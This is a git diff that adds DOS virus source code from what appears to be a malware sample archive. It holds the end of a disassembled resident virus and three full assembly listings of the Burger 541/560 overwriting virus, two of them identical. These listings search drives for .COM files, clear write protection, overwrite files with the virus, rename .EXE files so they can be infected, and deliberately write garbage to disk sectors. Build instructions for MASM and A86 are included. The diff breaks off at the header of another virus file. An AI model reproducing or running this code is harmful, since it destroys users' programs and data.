;SEGMENT OPERATION + POP DS ;SEGMENT OPERATION +H0023A: JMP Far CS:[H00004h] +;------------------------------------------------- +H0023F: MOV AH,45h +H00241: CALL H001B0 ; . . . . . . . . . + JB H00232 ; . . . . . . . . . + SUB AX,AX + MOV [DI+04h],AX + MOV Byte Ptr [DI-0Fh],02h + CLD + MOV DS,AX ;SEGMENT OPERATION + MOV SI,004Ch + LODSW ; . . . . . . . . . + PUSH AX + LODSW ; . . . . . . . . . + PUSH AX + PUSH [SI+40h] + PUSH [SI+42h] + LDS DX,CS:[SI-50h] + MOV AX,2513h + INT 21h ;Set Intrpt Vector + PUSH CS ;SEGMENT OPERATION + POP DS ;SEGMENT OPERATION + MOV DX,0204h + MOV AL,24h + INT 21h ;Write Random Rcds + PUSH ES ;SEGMENT OPERATION + POP DS ;SEGMENT OPERATION + MOV AL,[DI-04h] + AND AL,1Fh + CMP AL,1Fh + JZ H00284 ; . . . . . . . . . + MOV AX,[DI+17h] + SUB AX,4F43h + JNZ H002C3 ; . . . . . . . . . +H00284: XOR [DI-04h],AL + MOV AX,[DI] + CMP AX,CX + JB H002C3 ; . . . . . . . . . + ADD AX,CX + JB H002C3 ; . . . . . . . . . + TEST Byte Ptr [DI-0Dh],04h + JNZ H002C3 ; . . . . . . . . . + LDS SI,[DI-0Ah] + DEC AX + SHR Byte Ptr AH,1 + AND AH,[SI+04h] + JZ H002C3 ; . . . . . . . . . + MOV AX,0020h + MOV DS,AX ;SEGMENT OPERATION + SUB DX,DX + CALL H00211 ; . . . . . . . . . + MOV SI,DX + PUSH CX +H002AF: LODSB ; . . . . . . . . . + CMP AL,CS:[SI+07h] + JNZ H002DD ; . . . . . . . . . + LOOP H002AF ; . . . . . . . . . + POP CX +H002B9: OR Byte Ptr ES:[DI-04h],1Fh +H002BE: OR Byte Ptr ES:[DI-0Bh],40h +H002C3: MOV AH,3Eh + CALL H00213 ; . . . . . . . . . + OR Byte Ptr ES:[DI-0Ch],40h + POP DS ;SEGMENT OPERATION + POP DX + MOV AX,2524h + INT 21h ;Set Intrpt Vector + POP DS ;SEGMENT OPERATION + POP DX + MOV AL,13h + INT 21h ;Write Random Rcds + JMP H00232 +;------------------------------------------------- +H002DD: POP CX + MOV SI,ES:[DI] + MOV ES:[DI+04h],SI ;SEGMENT OPERATION + MOV AH,40h + INT 21h ;Write File/Device + JB H002BE ; . . . . . . . . . + MOV ES:[DI],SI ;SEGMENT OPERATION + MOV ES:[DI+04h],DX ;SEGMENT OPERATION + PUSH CS ;SEGMENT OPERATION + POP DS ;SEGMENT OPERATION + MOV DL,08h + MOV AH,40h + INT 21h ;Write File/Device + JMP Short H002B9 +;------------------------------------------------- + IRET +;------------------------------------------------- + ADD SS:[BX+SI],AL ;SEGMENT OPERATION + \ No newline at end of file diff --git a/0-9/541.ASM b/0-9/541.ASM new file mode 100755 index 0000000..cfdc5a3 --- /dev/null +++ b/0-9/541.ASM @@ -0,0 +1,446 @@ + page 70,120 + Name VIRUS +;************************************************************************* + +; Program Virus Ver.: 1.1 +; Copyright by R. Burger 1986 +; This is a demonstration program for computer +; viruses. It has the ability to replicate itself, +; and thereby modify other programs +;************************************************************************* + + + +Code Segment + Assume CS:Code +progr equ 100h + ORG progr + +;************************************************************************* + +; The three NOP's serve as the marker byte of the +; virus which will allow it to identify a virus +;************************************************************************* + +MAIN: + nop + nop + nop + +;************************************************************************* + +; Initialize the pointers +;************************************************************************* + + mov ax,00 + mov es:[pointer],ax + mov es:[counter],ax + mov es:[disks],al + +;************************************************************************* + +; Get the selected drive +;************************************************************************* + + mov ah,19h ; drive? + int 21h + +;************************************************************************* + +; Get the current path on the current drive +;************************************************************************* + + mov cs:drive,al ; save drive + mov ah,47h ; dir? + mov dh,0 + add al,1 + mov dl,al ; in actual drive + lea si,cs:old_path + int 21h + +;************************************************************************* + +; Get the number of drives present. +; If only one drive is present, the pointer for +; search order will be set to search order + 6 +;************************************************************************* + + mov ah,0eh ; how many disks + mov dl,0 ; + int 21h + + mov al,01 + cmp al,01 ; one drive? + jnz hups3 + mov al,06 + +hups3: mov ah,0 + lea bx,search_order + add bx,ax + add bx,0001h + mov cs:pointer,bx + clc + +;************************************************************************* + +; Carry is set, if no more .COM's are found. +; Then, to avoid unnecessary work, .EXE files will +; be renamed to .COM file and infected. +; This causes the error message "Program too lrage +; to fit in memory" when starting larger infected +; EXE programs. +;************************************************************************* + +change_disk: + jnc no_name_change + mov ah,17h ; change exe to com + lea dx,cs:maske_exe + int 21h + cmp al,0ffh + jnz no_name_change ; .EXE found? + +;************************************************************************* + +; If neither .COM nor .EXE is found, then sectors will +; be overwritten depending on the system time in +; milliseconds. This is the time of the complete +; "infection" of a storage medium. The virus can find +; nothing more to infect and starts its destruction. +;************************************************************************* + + mov ah,2ch ; read system clock + int 21h + mov bx,cs:pointer + mov al,cs:[bx] + mov bx,dx + mov cx,2 + mov dh,0 + int 26h ; write crap on disk + +;************************************************************************* + +; Check if the end of the search order table has been +; reached. If so, end. +;************************************************************************* + +no_name_change: + mov bx,cs:pointer + dec bx + mov cs:pointer,bx + mov dl,cs:[bx] + cmp dl,0ffh + jnz hups2 + jmp hops + +;************************************************************************* + +; Get new drive from search order table and +; select it. +;************************************************************************* + +hups2: + mov ah,0eh + int 21h ; change disk + +;************************************************************************* + +; Start in the root directory +;************************************************************************* + + mov ah,3bh ; change path + lea dx,path + int 21h + jmp find_first_file + +;************************************************************************* + +; Starting from the root, search for the first subdir +; First convert all .EXE files to .COM in the old +; directory. +;************************************************************************* + +find_first_subdir: + mov ah,17h ; change exe to com + lea dx,cs:maske_exe + int 21h + mov ah,3bh ; use root dir + lea dx,path + int 21h + mov ah,04eh ;Search for first subdirectory + mov cx,00010001b ; dir mask + lea dx,maske_dir + int 21h + jc change_disk + + mov bx,CS:counter + INC BX + DEC bx + jz use_next_subdir + +;************************************************************************* + +; Search for the next subdir. If no more directories +; are found, the drive will be changed. +;************************************************************************* + +find_next_subdir: + mov ah,4fh ; search for next subdir + int 21h + jc change_disk + dec bx + jnz find_next_subdir + +;************************************************************************* + +; Select found directory +;************************************************************************* + +use_next_subdir: + mov ah,2fh ; get dta address + int 21h + add bx,1ch + mov es:[bx],'\ ' ; address of name in dta + inc bx + push ds + mov ax,es + mov ds,ax + mov dx,bx + mov ah,3bh ; change path + int 21h + pop ds + mov bx,cs:counter + inc bx + mov CS:counter,bx + +;************************************************************************* + +; Find first .COM file in the current directory. +; If there are non, search the next directory. +;************************************************************************* + +find_first_file: + mov ah,04eh ; Search for first + mov cx,00000001b ; mask + lea dx,maske_com ; + int 21h + jc find_first_subdir + jmp check_if_ill + +;************************************************************************* + +; If the program is already infected, search for +; the next program. +;************************************************************************* + +find_next_file: + mov ah,4fh ; search for next + int 21h + jc find_first_subdir + +;************************************************************************* + +; Check if already infected by the virus. +;************************************************************************* + +check_if_ill: + mov ah,3dh ; open channel + mov al,02h ; read/write + mov dx,9eh ; address of name in dta + int 21h + mov bx,ax ; save channel + mov ah,3fh ; read file + mov cx,buflen ; + mov dx,buffer ; write in buffer + int 21h + mov ah,3eh ; CLODE FILE + int 21h + +;************************************************************************* + +; Here we search for three NOP's. +; If present, there is already an infection. We must +; then continue the search. +;************************************************************************* + + mov bx,cs:[buffer] + cmp bx,9090h + jz find_next_file + +;************************************************************************* + +; Bypass MS-DOS write protection if present +;************************************************************************* + + mov ah,43h ; write enable + mov al,0 + mov dx,9eh ; address of name in dta + int 21h + mov ah,43h + mov al,01h + and cx,11111110b + int 21h + +;************************************************************************* + +; Open file for write access. +;************************************************************************* + + mov ah,3dh ; open channel + mov al,02h ; read/write + mov dx,9eh ; address of name in dta + int 21h + +;************************************************************************* + +; Read date entry of program and save for future use. +;************************************************************************* + + mov bx,ax ; channel + mov ah,57h ; get date + mov al,0 + int 21h + push cx ; save date + push dx + +;************************************************************************* + +; The jump located at address 0100h of the program +; will be saved for future use. +;************************************************************************* + + mov dx,cs:[conta] ; save old jmp + mov cs:[jmpbuf],dx + mov dx,cs:[buffer+1] ; save new jump + lea cx,cont-100h + sub dx,cx + mov cs:[conta],dx + +;************************************************************************* + +; The virus copies itself to the start of the file +;************************************************************************* + + mov ah,40h ; write virus + mov cx,buflen ; length buffer + lea dx,main ; write virus + int 21h + +;************************************************************************* + +; Enter the old creation date of the file. +;************************************************************************* + + mov ah,57h ; write date + mov al,1 + pop dx + pop cx ; restore date + int 21h + +;************************************************************************* + +; Close the file. +;************************************************************************* + + mov ah,3eh ; close file + int 21h + +;************************************************************************* + +; restore the old jump address. +; The virus saves at address "conta' the jump which +; was at the start of the host program. +; This is done to preserve the executability of the +; host program as much as possible. +; After saving itstill works with the jump address +; contained in the virus. The jump address in the +; virus differs from the jump address in memory +; +;************************************************************************* + + mov dx,cs:[jmpbuf] ; restore old jmp + mov cs:[conta],dx +hops: nop + call use_old + +;************************************************************************* + +; Continue with the host program. +;************************************************************************* + +cont db 0e9h ; make jump +conta dw 0 + mov ah,00 + int 21h + +;************************************************************************* + +; reactivate the selected drive at the start of the +; program. +;************************************************************************* + +use_old: + mov ah,0eh ; use old drive + mov dl,cs:drive + int 21h + +;************************************************************************* + +; Reactivate the selected path at the start of the +; program. +;************************************************************************* + + mov ah,3bh ; use old dir + lea dx,old_path-1 ; get old path and backslash + int 21h + ret + + +search_order db 0ffh,1,0,2,3,0ffh,00,0ffh +pointer dw 0000 ; pointer f. search order +counter dw 0000 ; counter f. nth search +disks db 0 ; number of disks + + +maske_com db "*.com",00 ; search for com files +maske_dir db "*",00 ; search dir's +maske_exe db 0ffh,0,0,0,0,0,00111111b + db 0,"????????exe",0,0,0,0 + db 0,"????????com",0 +maske_all db 0ffh,0,0,0,0,0,00111111b + db 0,"???????????",0,0,0,0 + db 0,"????????com",0 + +buffer equ 0e000h ; a safe place + +buflen equ 230h ; length of virus !!!!!! + ; careful + ; if changing !!!!!! + +jmpbuf equ buffer+buflen ; a safe place for jump +path db "\",0 ; first path +drive db 0 ; actual drive +back_slash db "\" +old_path db 32 dup(?) ; old path + +code ends + +end main + +;************************************************************************* +; WHAT THE PROGRAM DOES: +; +; When the program is started, the first COM file in the root +; directory is infected. You can't see any changes to the +; directory entries. But if you look at the hex dump of an +; infected program, you can see the marker, which in this case +; consists of three NOP's (hex 90). WHen the infected program +; is started, the virus will first replicate itself, and then +; try to run the host program. It may run or it may not, but +; it will infect another program. This continues until all +; the COM files are infected. The next time it is run, all +; of the EXE files are changed to COM files so that they can +; be infected. In addition, the manipulation task of the virus +; begins, which consists of the random destruction of disk +; sectors. +;************************************************************************* +  \ No newline at end of file diff --git a/0-9/560 (12).ASM b/0-9/560 (12).ASM new file mode 100755 index 0000000..988d520 --- /dev/null +++ b/0-9/560 (12).ASM @@ -0,0 +1,464 @@ +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; + +PAGE 70,120 + +;; +;; +;; Name Virus: 541-Virus 14 Sept 1990 +;; Suggested Alias: NOP-Virus +;; Variant: 537-Virus, 560-Virus +;; +;; Last Reported: September 1990 +;; 'Isolated': The Hague, The Netherlands +;; by: Righard Zwienenberg 2:512/2.3@fidonet +;; +;; Author: Ralf Burger in 1986 for his book: +;; VIRUSES, A HIGH TECHNICAL DISEASE +;; +;; +;; The code of this virus was built into a MOVE-util. It was imple- +;; mented wrong. The virus went straight to the destruction code. +;; I've taken the code out and reconstructed it to its original +;; form. Because I had a listing of Ralf Burger's book I have placed +;; his own comments behind the code, although I've translated it into +;; English. The labels used, are also his. +;; +;; I've put three comments myself in the code. These can be recog- +;; nized by the starting ;; of it. +;; +;; Edwin Cleton, the one who send me the MOVE util for examination +;; downloaded it from a BBS. So far there are no damage reports. +;; The move-util checked the system's date. If the date is 1 Aug +;; or later of any year, the virus was called. +;; +;; +;; +;; This sourcelisting can be recompiled with MASM 4.0+ and A86. For +;; compilation with A86 you must specify 'conta' and 'disks' as a word +;; else the definition will conflict with what A86 previously thinks. +;; +;; +;; +;; Virus-Description: +;; ------------------ +;; +;; The virus infects the first COM-file in the ROOT-Directory. The +;; virus overwrites the first 230h bytes of the file. When an infected +;; file is executed it will infect one other .COM-file. The system will +;; crash mostly afterwards because the overwritten part is not stored. +;; When COMMAND.COM is infected on the HDU, the system will not reboot +;; because COMMAND.COM is complete. Each reboot COMMAND.COM will infect +;; one other .COM-File and the computer crashes. When all .COM-files +;; are infected, .EXE-files will be renamed (FCB) to .COM to become +;; infected. When all .COM and .EXE-files are infected, the virus will +;; write to sectors on disk depending on the system's time. +;; The infected files are lost en must be replaced by backup-copies. +;; +;; The shortest size an infected file can be is 230h bytes. The code is +;; shorter, but this is the value which has been put into the code as +;; the virus-length. +;; +;; + + +Code Segment + Assume CS:Code +progr equ 100h + org progr + +; +; The three NOP's are set as a identifier for the virus. This way +; the virus knows this copy is already infected. +; + +MAIN: + nop + nop + nop + +; +; Init the Pointers +; + + mov ax,0 + mov es:[pointer],ax + mov es:[counter],ax + mov es:[disks],al + +; +; Get actual diskdrive +; + + mov ah,19h ; drive? + int 21h + +; +; Get actual path +; + + mov cs:drive,al ; save drive + mov ah,47h ; dir? + mov dh,0 + add al,1 + mov dl,al ; in actual drive? + lea si,cs:old_path + int 21h + +; +; Get actual number of present diskdrives.If only one diskdrive is present, +; the pointer for 'search_order' will transfered to 'search_order + 6' +; + + mov ah,0Eh ; how many disks + mov dl,0 + int 21h + mov al,1 + cmp al,1 ; one drive? + jne hups3 + mov al,6 +hups3: + mov ah,0 + lea bx,cs:search_order + add bx,ax + add bx,1 + mov cs:pointer,bx + clc + +; +; The carry-flag is set if the search will find no more .COM-files. To do +; it the easy way, all .EXE-files will get the .COM-extention to become +; infected. This will result in an error if the executed .EXE is to big. +; The error-message 'Program too big to fit in memory' will be the result. +; + +change_disk: + jnc no_name_change + mov ah,17h ; change exe to com + lea dx,cs:mask_exe + int 21h + cmp al,0FFh + jnz no_name_change ; .EXE found? + +; +; When no .COM or .EXE-files are found, sectors will be overwritten, +; depending from the system's time in the msec-range. This is the moment +; that the entire disk is infected. 'VIRUS' can not infect any more and +; starts the destruction. +; + + mov ah,2Ch ; read system clock + int 21h + mov bx,cs:pointer + mov al,cs:[bx] + mov bx,dx + mov cx,2 + mov dh,0 + int 26h ; Write shit on disk + +; +; Test if the end of the seek-procedure or of the table has been reached. +; If so: end. +; + +no_name_change: + mov bx,cs:pointer + dec bx + mov cs:pointer,bx + mov dl,cs:[bx] + cmp dl,0FFh + jnz hups2 + jmp hops + +; +; Get new disk from the list with search orders and make it the actual one. +; + +hups2: + mov ah,0Eh + int 21h ; change disk + +; +; Start at the ROOT-Directory. +; + + mov ah,3Bh ; change path + lea dx,cs:path + int 21h + jmp find_first_file + +; +; Starting from the ROOT-dir, search for the first sub-dir. Previous change +; all .EXE-files into .COM-files in the old directory. +; + +find_first_subdir: + mov ah,17h ; change exe to com + lea dx,cs:mask_exe + int 21h + mov ah,3Bh ; use root dir + lea dx,cs:path + int 21h + mov ah,4Eh ; search for first subdir + mov cx,11h ; dir mask + lea dx,cs:mask_dir + int 21h + jc change_disk + mov bx,cs:counter + inc bx + dec bx + jz use_next_subdir + +; +; Search for the next sub-dirs. Change to other drive if no sub-dir is +; found. +; + +find_next_subdir: + mov ah,4Fh ; search for next sub-dir. + int 21h + jc change_disk + dec bx + jnz find_next_subdir + +; +; Change found sub-dir in actual one. +; + +use_next_subdir: + mov ah,2Fh ; get dta address + int 21h + add bx,1Ch + mov word ptr es:[bx],'\' ; address of name in dta + inc bx + push ds + mov ax,es + mov ds,ax + mov dx,bx + mov ah,3Bh ; change path + int 21h + pop ds + mov bx,cs:counter + inc bx + mov cs:counter,bx + +; +; Search first .COM-file in the actual directory. If no .COM-files present, +; search the next directory. +; + +find_first_file: + mov ah,4Eh ; search for first + mov cx,1 ; mask + lea dx,cs:mask_com + int 21h + jc find_first_subdir + jmp short check_if_ill + +; +; If the file is already infected, search next file. +; + +find_next_file: + mov ah,4Fh ; search for next + int 21h + jc find_first_subdir + +; +; Test on infection. +; + +check_if_ill: + mov ah,3Dh ; open channel + mov al,2 ; read/write + mov dx,9Eh ; address of name in dta + int 21h + mov bx,ax ; save channel + mov ah,3Fh ; read file + mov cx,buflen + mov dx,buffer ; write in buffer + int 21h + mov ah,3Eh ; close file + int 21h + +; +; Test if the three NOPs of 'VIRUS' are present. If so, the file is already +; infected, continue searching. +; + + mov bx,cs:[buffer] + cmp bx,9090h + jz find_next_file + +; +; Erase the write-protection attribute from MS-DOS. +; + + mov ah,43h ; write enable + mov al,0 + mov dx,9Eh ; address of name in dta + int 21h + mov ah,43h + mov al,1 + and cx,0FEh + int 21h + +; +; Open file for writing/reading. +; + + mov ah,3Dh ; open channel + mov al,2 ; read/write + mov dx,9Eh ; address of name in dta + int 21h + +; +; Store date of file for later use. +; + + mov bx,ax ; channel + mov ah,57h ; get date + mov al,0 + int 21h + push cx ; save data + push dx + +; +; Save the original jump from program. +; + + mov dx,cs:[conta] ; save old jmp + mov cs:[jmpbuf],dx + mov dx,cs:[buffer+1] ; save new jump + lea cx,cs:cont-100h + sub dx,cx + mov cs:[conta],dx + +; +; 'VIRUS' copies itself to the beginning of a file. +; + + mov ah,40h ; write virus + mov cx,buflen ; length buffer + lea dx,main ; write virus + int 21h + +; +; Restore the old file-date. +; + + mov ah,57h ; write date + mov al,1 + pop dx + pop cx ; restore date + int 21h + +; +; Close file. +; + + mov ah,3Eh ; close file + int 21h + +; +; Restore the old jump-address. 'VIRUS' stores at address 'conta' the jump +; which was at the beginning of the host-program. This will keep the host- +; program as much executable as possible. After storing the address, it +; works with the jumpaddress of 'VIRUS'. 'VIRUS' will thus be in the +; work-memory of the program. +; + + mov dx,cs:[jmpbuf] ; restore old jmp + mov cs:[conta],dx +hops: + nop + call use_old + +; +; Continue the execution of the host-program. +; + + +cont db 0e9h +conta dw 0 + mov ah,00 + int 21h + +; +; Activate the diskdrive choosen at the entry of the program. +; + +use_old: + mov ah,0eh ; use old drive + mov dl,cs:drive + int 21h + +; +; Activate the path choosen at the entry of the program. +; + + mov ah,3Bh ; use old dir + lea dx,cs:[1FDh] ; get old path and + ; backslash + int 21h + ret + + +search_order db 0FFh,1,0,2,3,0FFh,0,0FFh +pointer dw 0000 +counter dw 0000 +disks db 0 +mask_com db "*.com",00 ; search for com-files +mask_dir db "*",00 ; search for dirs +mask_exe db 0FFh, 0, 0, 0, 0, 0, 3Fh + db 0,"????????exe",0,0,0,0 + db 0,"????????com",0 +mask_all db 0FFh, 0, 0, 0, 0, 0, 3Fh + db 0,"???????????",0,0,0,0 + db 0,"????????com",0 + +;; mask_all is never used by the code and easilly can be ommited +;; to shorten the code + +buffer equ 0e000h ; a save place +buflen equ 230h ; length of virus + +;; At this place I disagree with Ralf. The actual length of the virus +;; is 21Dh bytes when compiled in MASM and 219h bytes when compiled +;; in A86. Because it was Ralf's intention to compile this in MASM +;; 21Dh should be the original length. + +jmpbuf equ buffer+buflen ; a save place for jmp +path db "\",0 ; first path +drive db 0 ; actual drive +back_slash db "\" + +;; This variable is never used in the code and easilly can be ommited +;; to shorten the code. + +old_path db 32 dup (?) ; old path + +code ends + + end main diff --git a/0-9/560.asm b/0-9/560.asm new file mode 100755 index 0000000..988d520 --- /dev/null +++ b/0-9/560.asm @@ -0,0 +1,464 @@ +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; + +PAGE 70,120 + +;; +;; +;; Name Virus: 541-Virus 14 Sept 1990 +;; Suggested Alias: NOP-Virus +;; Variant: 537-Virus, 560-Virus +;; +;; Last Reported: September 1990 +;; 'Isolated': The Hague, The Netherlands +;; by: Righard Zwienenberg 2:512/2.3@fidonet +;; +;; Author: Ralf Burger in 1986 for his book: +;; VIRUSES, A HIGH TECHNICAL DISEASE +;; +;; +;; The code of this virus was built into a MOVE-util. It was imple- +;; mented wrong. The virus went straight to the destruction code. +;; I've taken the code out and reconstructed it to its original +;; form. Because I had a listing of Ralf Burger's book I have placed +;; his own comments behind the code, although I've translated it into +;; English. The labels used, are also his. +;; +;; I've put three comments myself in the code. These can be recog- +;; nized by the starting ;; of it. +;; +;; Edwin Cleton, the one who send me the MOVE util for examination +;; downloaded it from a BBS. So far there are no damage reports. +;; The move-util checked the system's date. If the date is 1 Aug +;; or later of any year, the virus was called. +;; +;; +;; +;; This sourcelisting can be recompiled with MASM 4.0+ and A86. For +;; compilation with A86 you must specify 'conta' and 'disks' as a word +;; else the definition will conflict with what A86 previously thinks. +;; +;; +;; +;; Virus-Description: +;; ------------------ +;; +;; The virus infects the first COM-file in the ROOT-Directory. The +;; virus overwrites the first 230h bytes of the file. When an infected +;; file is executed it will infect one other .COM-file. The system will +;; crash mostly afterwards because the overwritten part is not stored. +;; When COMMAND.COM is infected on the HDU, the system will not reboot +;; because COMMAND.COM is complete. Each reboot COMMAND.COM will infect +;; one other .COM-File and the computer crashes. When all .COM-files +;; are infected, .EXE-files will be renamed (FCB) to .COM to become +;; infected. When all .COM and .EXE-files are infected, the virus will +;; write to sectors on disk depending on the system's time. +;; The infected files are lost en must be replaced by backup-copies. +;; +;; The shortest size an infected file can be is 230h bytes. The code is +;; shorter, but this is the value which has been put into the code as +;; the virus-length. +;; +;; + + +Code Segment + Assume CS:Code +progr equ 100h + org progr + +; +; The three NOP's are set as a identifier for the virus. This way +; the virus knows this copy is already infected. +; + +MAIN: + nop + nop + nop + +; +; Init the Pointers +; + + mov ax,0 + mov es:[pointer],ax + mov es:[counter],ax + mov es:[disks],al + +; +; Get actual diskdrive +; + + mov ah,19h ; drive? + int 21h + +; +; Get actual path +; + + mov cs:drive,al ; save drive + mov ah,47h ; dir? + mov dh,0 + add al,1 + mov dl,al ; in actual drive? + lea si,cs:old_path + int 21h + +; +; Get actual number of present diskdrives.If only one diskdrive is present, +; the pointer for 'search_order' will transfered to 'search_order + 6' +; + + mov ah,0Eh ; how many disks + mov dl,0 + int 21h + mov al,1 + cmp al,1 ; one drive? + jne hups3 + mov al,6 +hups3: + mov ah,0 + lea bx,cs:search_order + add bx,ax + add bx,1 + mov cs:pointer,bx + clc + +; +; The carry-flag is set if the search will find no more .COM-files. To do +; it the easy way, all .EXE-files will get the .COM-extention to become +; infected. This will result in an error if the executed .EXE is to big. +; The error-message 'Program too big to fit in memory' will be the result. +; + +change_disk: + jnc no_name_change + mov ah,17h ; change exe to com + lea dx,cs:mask_exe + int 21h + cmp al,0FFh + jnz no_name_change ; .EXE found? + +; +; When no .COM or .EXE-files are found, sectors will be overwritten, +; depending from the system's time in the msec-range. This is the moment +; that the entire disk is infected. 'VIRUS' can not infect any more and +; starts the destruction. +; + + mov ah,2Ch ; read system clock + int 21h + mov bx,cs:pointer + mov al,cs:[bx] + mov bx,dx + mov cx,2 + mov dh,0 + int 26h ; Write shit on disk + +; +; Test if the end of the seek-procedure or of the table has been reached. +; If so: end. +; + +no_name_change: + mov bx,cs:pointer + dec bx + mov cs:pointer,bx + mov dl,cs:[bx] + cmp dl,0FFh + jnz hups2 + jmp hops + +; +; Get new disk from the list with search orders and make it the actual one. +; + +hups2: + mov ah,0Eh + int 21h ; change disk + +; +; Start at the ROOT-Directory. +; + + mov ah,3Bh ; change path + lea dx,cs:path + int 21h + jmp find_first_file + +; +; Starting from the ROOT-dir, search for the first sub-dir. Previous change +; all .EXE-files into .COM-files in the old directory. +; + +find_first_subdir: + mov ah,17h ; change exe to com + lea dx,cs:mask_exe + int 21h + mov ah,3Bh ; use root dir + lea dx,cs:path + int 21h + mov ah,4Eh ; search for first subdir + mov cx,11h ; dir mask + lea dx,cs:mask_dir + int 21h + jc change_disk + mov bx,cs:counter + inc bx + dec bx + jz use_next_subdir + +; +; Search for the next sub-dirs. Change to other drive if no sub-dir is +; found. +; + +find_next_subdir: + mov ah,4Fh ; search for next sub-dir. + int 21h + jc change_disk + dec bx + jnz find_next_subdir + +; +; Change found sub-dir in actual one. +; + +use_next_subdir: + mov ah,2Fh ; get dta address + int 21h + add bx,1Ch + mov word ptr es:[bx],'\' ; address of name in dta + inc bx + push ds + mov ax,es + mov ds,ax + mov dx,bx + mov ah,3Bh ; change path + int 21h + pop ds + mov bx,cs:counter + inc bx + mov cs:counter,bx + +; +; Search first .COM-file in the actual directory. If no .COM-files present, +; search the next directory. +; + +find_first_file: + mov ah,4Eh ; search for first + mov cx,1 ; mask + lea dx,cs:mask_com + int 21h + jc find_first_subdir + jmp short check_if_ill + +; +; If the file is already infected, search next file. +; + +find_next_file: + mov ah,4Fh ; search for next + int 21h + jc find_first_subdir + +; +; Test on infection. +; + +check_if_ill: + mov ah,3Dh ; open channel + mov al,2 ; read/write + mov dx,9Eh ; address of name in dta + int 21h + mov bx,ax ; save channel + mov ah,3Fh ; read file + mov cx,buflen + mov dx,buffer ; write in buffer + int 21h + mov ah,3Eh ; close file + int 21h + +; +; Test if the three NOPs of 'VIRUS' are present. If so, the file is already +; infected, continue searching. +; + + mov bx,cs:[buffer] + cmp bx,9090h + jz find_next_file + +; +; Erase the write-protection attribute from MS-DOS. +; + + mov ah,43h ; write enable + mov al,0 + mov dx,9Eh ; address of name in dta + int 21h + mov ah,43h + mov al,1 + and cx,0FEh + int 21h + +; +; Open file for writing/reading. +; + + mov ah,3Dh ; open channel + mov al,2 ; read/write + mov dx,9Eh ; address of name in dta + int 21h + +; +; Store date of file for later use. +; + + mov bx,ax ; channel + mov ah,57h ; get date + mov al,0 + int 21h + push cx ; save data + push dx + +; +; Save the original jump from program. +; + + mov dx,cs:[conta] ; save old jmp + mov cs:[jmpbuf],dx + mov dx,cs:[buffer+1] ; save new jump + lea cx,cs:cont-100h + sub dx,cx + mov cs:[conta],dx + +; +; 'VIRUS' copies itself to the beginning of a file. +; + + mov ah,40h ; write virus + mov cx,buflen ; length buffer + lea dx,main ; write virus + int 21h + +; +; Restore the old file-date. +; + + mov ah,57h ; write date + mov al,1 + pop dx + pop cx ; restore date + int 21h + +; +; Close file. +; + + mov ah,3Eh ; close file + int 21h + +; +; Restore the old jump-address. 'VIRUS' stores at address 'conta' the jump +; which was at the beginning of the host-program. This will keep the host- +; program as much executable as possible. After storing the address, it +; works with the jumpaddress of 'VIRUS'. 'VIRUS' will thus be in the +; work-memory of the program. +; + + mov dx,cs:[jmpbuf] ; restore old jmp + mov cs:[conta],dx +hops: + nop + call use_old + +; +; Continue the execution of the host-program. +; + + +cont db 0e9h +conta dw 0 + mov ah,00 + int 21h + +; +; Activate the diskdrive choosen at the entry of the program. +; + +use_old: + mov ah,0eh ; use old drive + mov dl,cs:drive + int 21h + +; +; Activate the path choosen at the entry of the program. +; + + mov ah,3Bh ; use old dir + lea dx,cs:[1FDh] ; get old path and + ; backslash + int 21h + ret + + +search_order db 0FFh,1,0,2,3,0FFh,0,0FFh +pointer dw 0000 +counter dw 0000 +disks db 0 +mask_com db "*.com",00 ; search for com-files +mask_dir db "*",00 ; search for dirs +mask_exe db 0FFh, 0, 0, 0, 0, 0, 3Fh + db 0,"????????exe",0,0,0,0 + db 0,"????????com",0 +mask_all db 0FFh, 0, 0, 0, 0, 0, 3Fh + db 0,"???????????",0,0,0,0 + db 0,"????????com",0 + +;; mask_all is never used by the code and easilly can be ommited +;; to shorten the code + +buffer equ 0e000h ; a save place +buflen equ 230h ; length of virus + +;; At this place I disagree with Ralf. The actual length of the virus +;; is 21Dh bytes when compiled in MASM and 219h bytes when compiled +;; in A86. Because it was Ralf's intention to compile this in MASM +;; 21Dh should be the original length. + +jmpbuf equ buffer+buflen ; a save place for jmp +path db "\",0 ; first path +drive db 0 ; actual drive +back_slash db "\" + +;; This variable is never used in the code and easilly can be ommited +;; to shorten the code. + +old_path db 32 dup (?) ; old path + +code ends + + end main diff --git a/0-9/583VIRUS.ASM b/0-9/583VIRUS.ASM new file mode 100755 index 0000000..f8eb6a0 --- /dev/null +++ b/0-9/583VIRUS.ASM @@ -0,0 +1,324 @@ +; Kod rdowy wirusa nieznanego autorstwa. Widoczne s silne wpywy 648. +; Dodano wasne komentarze wskazujce na rnice midzy t wersj i oryginaem. +; Komentarze te poprzedzane s znakami AK:. +; Tekst znaleziony na dysku komputera FIDO w PC Kurierze 28 wrzenia 1990. + +comment 